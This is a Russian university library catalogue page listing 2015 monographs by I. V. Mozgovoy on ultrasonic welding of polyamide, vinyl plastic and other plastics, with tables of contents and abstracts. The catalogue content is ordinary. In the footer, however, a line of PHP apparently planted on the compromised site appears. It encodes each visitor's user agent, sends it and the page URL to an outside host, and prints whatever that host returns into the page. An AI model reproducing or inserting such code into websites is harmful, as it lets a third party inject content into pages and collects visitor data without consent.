Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

46 пользователей


Зарегистрированных: 1 

Борисенко Елена Стефановна


 
      Наши партнеры
Студенческий информационный портал компании
А Б В Г Д Е Ж З К Л М Н П Р С Т Ф Х Ш Щ Ю

Мозговой Иван Васильевич

БиографияПубликации (в фонде)Авторские свидетельстваБиблиографический указатель (выпущен к юбилею)

Публикации (в фонде)

Года издания: | 2017 | 2016 | 2015 | 2014 | 2013 | 2012 | 2009 | 2008 | 2007 | 2006 | 2005 | 2004 | 2003 | 2002 | 2000 | 1984 | 1980 | 1977 | 1975 | 1971 |

2015

("Автор=Мозговой, Иван Васильевич")И(G=2015)
Мозговой, Иван Васильевич. Фрикционно-ультразвуковая сварка полиамида [Текст] / И. В. Мозговой, В. Е. Ощепков, 2015. - 209 с.
Оглавление 
Держатели документа (Информация об экземплярах) 

Рассмотрены вопросы теории, технологии и оборудования для сварки изделий из полиамида с использованием энергии силового ультразвука в сочетании с пластификацией соединяемых поверхностей пластмассы путем трения. Раскрыт механизм фрикционно-ультразвуковой сварки полиамидных полимерных материалов и разработаны теоретические положения процесса, что позволило создать промышленные технологии и оборудование.

Адресована специалистам, исследователям, аспирантам и студентам, занимающимся вопросами сварки изделий из пластмасс.

Полный текст
Мозговой, Иван Васильевич. Сварка винипласта [Текст] / И. В. Мозговой, 2015. - 255 с.
Ключевые слова 
Оглавление 
  • Основные условные обозначения. - с.8
  • Введение. - с.12
  • Анализ современного состояния сварки винипласта. - с.22
  • Получение, свойства и области применения винипласта. - с.22
  • Характеристика сварных винипластовых изделий и особенности их изготовления. - с.25
  • Анализ известных способов сварки пластмасс с точки зрения возможности их применения при изготовлении изделий из винипласта. - с.28
  • Технологические возможности ультразвуковой сварки пластмасс. - с.32
  • Ультразвуковая сварка винипласта. - с.35
  • Анализ свойств винипласта, определяющих его свариваемость. - с.37
  • Актуальность проблемы и пути ее решения. - с.41
  • Заключение по разделу 1. - с.43
  • Исследование процесса деструкции при УЗС винипласти и его влияние на качество соединений. - с.44
  • Современные представления о деструкции винипласта. - с.45
  • Определение температуры начала деструкции винипласта при его сварке ультразвуком. - с.47
  • Методика эксперимента. - с.47
  • Результаты эксперимента и их обсуждение. - с.52
  • Определение температуры сваривания винипласта. - с.58
  • Исследование процесса сварки винипласта ультразвуком, выполняемой по известной (классической) технологической схеме. - с.59
  • Методы проведения исследований. - с.61
  • Результаты экспериментов. - с.63
  • Заключение по разделу 2. - с.70
  • Механизм образования соединения при сварке винипласта ультразвуком с предварительной пластификацией зоны соединения. - с.72
  • Предпосылки улучшения свариваемости винипласта. - с.72
  • О возможности применения растворителей для улучшения свариваемости винипласта. - с.78
  • Кинетика процесса предсварочной обработки. - с.83
  • Определение коэффициентов диффузии растворителей в поливинилхлорид. - с.84
  • Методика исследований. - с.84
  • Результаты экспериментов и их обсуждение. - с.90
  • Определение послойной концентрации растворителя в объеме пластифицированной зоны. - с.94
  • Методика определения послойной концентрации. - с.94
  • Распределение растворителя в объеме обработанной зоны. - с.98
  • Физико-механические свойства обработанной растворителем зоны. - с.100
  • Концентрационно-температурные зависимости релаксационных свойств растворов винипласта. - с.100
  • Физико-химические свойства обработанной растворителем зоны. - с.113
  • Влияние предварительной обработки на температурный режим процесса ультразвуковой сварки винипласта. - с.120
  • Анализ процесса теплообразования при ультразвуковой сварке винипласта с предварительной обработкой зоны сварки растворителем. - с.120
  • Кинетика нагрева винипласта под действием ультразвуковых колебаний. - с.123
  • Кинетика нагрева обработанной растворителем зоны. - с.137
  • Влияние предварительной обработки на температуру сваривания винипласта. - с.146
  • Влияние предварительной обработки на распределение температур в свариваемых элементах. - с.148
  • Влияние на изменения релаксационных свойств. - с.156
  • Влияние локальной пластификации на распределение амплитуд деформаций. - с.156
  • Влияние технологических параметров процесса на температурные условия в зоне сварки. - с.160
  • Механизм образования соединения при УЗС винипласта с локальной пластификацией зоны соединения. - с.166
  • Заключение по разделу 3. - с.169
  • Разработка технологии и сварочного оборудования для УЗС изделий из винипласта. - с.172
  • Методика проведения технологических экспериментов. - с.173
  • Обоснование выбора типа соединения для проведения исследований. - с.173
  • Описание экспериментальной установки. - с.174
  • Методы испытания образцов. - с.175
  • Влияние режима предсварочной пластификации и режима сварки винипласта на эксплуатационные свойства сварных соединений. - с.176
  • Обсуждение результатов исследований. - с.186
  • Определение производственной схемы процесса предварительной обработки и выбор растворителя для ее проведения. - с.190
  • Определение рациональной технологической схемы процесса предсварочной пластификации. - с.1
  • Выбор растворителя для предсварочной обработки. - с.195
  • Примеры промышленного применения разработанного процесса сварки. - с.198
  • Сварка кислотного цилиндра. - с.198
  • Сварка элемента фильтра. - с.203
  • Сварка узлов вентиляционной системы. - с.205
  • Определение схемы сварки и конструкции соединения при УЗС встык листового винипласта. - с.205
  • Технология сварки узлов вентиляции. - с.215
  • Оборудование для сварки с предварительной обработкой зоны шва растворителем. - с.219
  • Оборудование для предсварочной пластификации деталей в зоне соединения. - с.219
  • Полуавтоматическая установка для предсварочной обработки мелких деталей. - с.219
  • Установка для обработки листового винипласта. - с.226
  • Сварочная установка УСМ-27. - с.229
  • Установка для сварки винипластовых листов встык УСМ-18. - с.234
  • Технико-экономические показатели работы. - с.236
  • Заключение по разделу 4. - с.239
  • Заключение по разделу 4. - с.242
  • Список использованной литературы. - с.245
Держатели документа (Информация об экземплярах) 

Рассмотрены вопросы технологии сварки изделий из винипласта и использованием энергии силового ультразвука в сочетании с процессами пластификации соединяемых поверхностей растворителями винипласта - тетрагидрофураном, циклогексаном и диоксаном. При ультразвуковой сварке винипласта плавление материала в зоне сварки крайне неравномерное, сопровождается появлением очагов деструкции, существенно снижающих прочностные показатели соединений, их герметичность и эксплуатационные показатели. Пластификация винипласта в зоне сварки устраняет деструкцию материала, повышает прочность швов и срок эксплуатации в условиях воздействия кислот и щелочей до 18-20 лет.

Рекомендована специалистам, исследователям, аспирантам и студентам, занимающимся технологиями сварки изделий из пластмасс.

Полный текст
Мозговой, Иван Васильевич. Теория и практика силового ультразвука [Текст] : монография: в 4 ч. Ч. 3 : Образование соединений пластмасс, 2015. - 207 с.
Оглавление 
  • Основные условные обозначения. - с.5
  • Введение. - с.9
  • Диффузионно-реологические процессы при ультразвуковой сварке пластмасс. - с.27
  • Исследование диффузионно-реологических процессов путем ультразвуковой сварке разноцветного полиэтилена. - с.28
  • Исследование диффузионно-реологических процессов при УЗС пластмасс с применением мелкодисперсного порошка молибдена. - с.32
  • О силах, вызывающих течение расплавленного полимерного материала в зоне сварки. - с.35
  • Анализ исследований. - с.39
  • Заключение. - с.43
  • Исследование надмолекулярных превращений при ультразвуковой сварке пластмасс. - с.45
  • Электронно-микроскопические исследования структурных превращений в полиэтилене. - с.46
  • Структурные превращения в полиамиде. - с.56
  • Влияние надмолекулярной структуры на механические свойства соединений. - с.60
  • Анализ результатов исследований. - с.66
  • Заключение. - с.68
  • Физико-химические процессы при ультразвуковых и комбинированных способах сварки пластмасс. - с.70
  • Исследование методом ИКС химических процессов при сварке пластмасс. - с.72
  • Дифференциально-термический анализ процессов сварки пластмасс. - с.79
  • Изменение молекулярной массы и молекулярно-массового распределения пластмасс при сварке. - с.87
  • Влияние УЗ колебаний на гелеобразование и набухание. - с.94
  • Исследование методом ЭПР анализа процессов, возникающих при сварке пластмасс. - с.99
  • Теоретическое обобщение результатов исследований. - с.103
  • Заключение. - с.113
  • Влияние физико-химических превращений в материале шва в процессе сварки, эксплуатации и старения на механические показатели соединений при ультразвуковых и комбинированных способах сварки пластмасс. - с.118
  • Влияние химических превращений на прочность соединений при различных способах сварки. - с.119
  • Влияние режимов сварки на механические характеристики соединений. - с.123
  • Влияние химических превращений и тепловой обработки на прочность соединений при комбинированных способах сварки. - с.129
  • Анализ результатов исследований. - с.136
  • Заключение. - с.138
  • Модель образования соединений полимерных материалов при сварке ультразвуком и комбинированными источниками. - с.141
  • Этапы процесса сварки. - с.141
  • Модель 1-го подготовительного этапа сварки. - с.145
  • Модель 2-го этапа теплообразования при УЗ сварке. - с.149
  • Модель 3-го этапа, этапа образования сварного шва. - с.156
  • Свариваемость пластмасс и их классификация. - с.160
  • Модель 4-го завершающего этапа сварки пластмасс. - с.169
  • Заключение. - с.173
  • Физико-химическая теория сварки полимерных материалов и биотканей. - с.178
  • Прогноз развития ультразвуковых и комбинированных способов сварки полимерных и биополимерных материалов. - с.183
  • Заключение по работе. - с.190
  • Список литературы. - с.193
Держатели документа (Информация об экземплярах) 

Рассмотрены вопросы теории распространения колебаний в полимерных средах силового ультразвука, теплообразования, образования соединений и технологии сварки пластмасс.

В третьей части монографии сформулирована теория, представляющая процессы сварки как сложную совокупность явлений физического, физико-химического и химического характера, протекающих в пространстве и времени, раздельно или совместно, реальность и интенсивность которых обусловлена полимерной средой, видом и уровнем энергии и механизмами взаимодействия энергии и объекта сварки. Представлена модель образования соединений и дан научно обоснованный прогноз развития сварки пластмасс.

Рекомендована инженерам-сварщикам, исследователям, аспирантам и студентам.

Полный текст
Мозговой, Иван Васильевич. Теория и практика силового ультразвука [Текст] : моногр. Ч. 4 : Технологии сварки пластмасс, 2015. - 206 с.
Оглавление 
  • Основные условные обозначения. - с.5
  • Введение. - с.8
  • Технологии сварки изделий из полимерных материалов, основанные на сохранении их исходного физико-химического и химического состояния. - с.26
  • Определение их оптимальных смещений УЗ инструмента. - с.28
  • Управление образованием при изменении амплитуды смещений УЗ инструмента и давления. - с.33
  • Обеспечение прочности швов путем оптимизации схем сварки и конструкций соединений. - с.39
  • Производственные технологии и оборудование. - с.45
  • Заключение. - с.61
  • Технологии сварки пластмасс. основанные на изменении физического состояния полимерного материала в зоне шва. - с.63
  • Фрикционно-ультразвуковая сварка пластмасс. - с.65
  • ИК- ультразвуковая сварка. - с.77
  • УЗС жестких пластмасс с применением растворителей. - с.82
  • Термо-ультразвуковая сварка фторпласта-4. - с.90
  • Заключение. - с.101
  • Технологии сварки, основанные на управляемом изменении физико-химического и химического состояния полимерного материала. - с.104
  • Выполнение соединений резин. - с.105
  • Ультразвуковое активирование резин и повышение ходимости шин. - с.117
  • Сварка живых биотканей. - с.119
  • Сварка полимерных пленок и разнородных материалов. - с.131
  • Заключение. - с.141
  • Расчет, проектирование и изготовление ультразвуковых сварочных головок. - с.144
  • Конструкции акустических головок. - с.144
  • Магнитострикционный преобразователь. - с.145
  • Способы крепление узлов головок. - с.146
  • Характеристика материалов для изготовления. - с.153
  • Характеристика магнитострикционных материалов. - с.155
  • Расчет ультразвуковых трансформаторов. - с.157
  • Цилиндрический ступенчатый трансформатор. - с.158
  • Конические волноводы. - с.159
  • Экспоненциальные волноводы. - с.160
  • Экспоненциальный волновод прямоугольного сечения (ножевой). - с.164
  • Катеноидальный волновод. - с.165
  • Технология изготовления ультрозвуковых колебательных систем. - с.166
  • Технология изготовления магнитострикционных преобразователей. - с.166
  • Технология изготовления трансформаторов колебаний. - с.176
  • Пайка трансформатора колебаний и пакета. - с.178
  • Пропитка пакетов эпоксидными компаундами. - с.183
  • Подготовка колебательной системы к работе. - с.186
  • Заключение по монографии. - с.188
  • Список литературы. - с.191
Держатели документа (Информация об экземплярах) 

Рассмотрены вопросы теории распространения колебаний в полимерных средах силового ультразвука, теплообразования, образования соединений и технологии сварки пластмасс.

В четвертой части монографии представлены технологии сварки полимерных материалов, разработанные по трем принципам: сохранение исходных физического, физико-химического и химического состояний; целенаправленное управляемое изменение физического состояния и целенаправленное управляемое изменение физико-химического и химического состояний свариваемого полимерного материала. Описано производственное сварочное оборудование, внедренное в производство по выпуску различной товарной продукции.

Рекомендована специалистам, аспирантам и студентам, занимающимся вопросами переработки полимерных материалов и ультразвуковыми технологиями.

Полный текст
Мозговой, Иван Васильевич. Теория и практика силового ультразвука [Текст] : монография : в 4 ч. Ч. 2 : Теплообразование, 2015. - 186 с.
Оглавление 
Держатели документа (Информация об экземплярах) 

Рассмотрены вопросы теории распространения колебаний в полимерных средах силового ультразвука, теплообразования, образования соединений и технологии сварки пластмасс.

Во второй части монографии рассмотрены вопросы теории теплообразования при сварке пластмасс силовым ультразвуком. Установлено, что при взаимодействии ультразвука с пластмассовой средой протекают шесть процессов перехода механических высокочастотных колебаний в тепло: внутриобъемное деформирование; возникновение отрывов и соударений в зоне соединения двух пластмассовых деталей; внешнее (граничное) трение; сдвиговое деформирование; кавитационное теплообразование и тепловыделение в результате химических превращений. Получены математические выражения, позволяющие расчетным путем определять количество тепловой энергии, выделяющейся при протекании указанных процессов. Раскрыты механизмы этих процессов.

Рекомендована специалистам, аспирантам и студентам, занимающимся ультразвуковыми технологиями.

Полный текст


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2845 - 25.03.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 2.50 с.19 запросов, 1.45c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;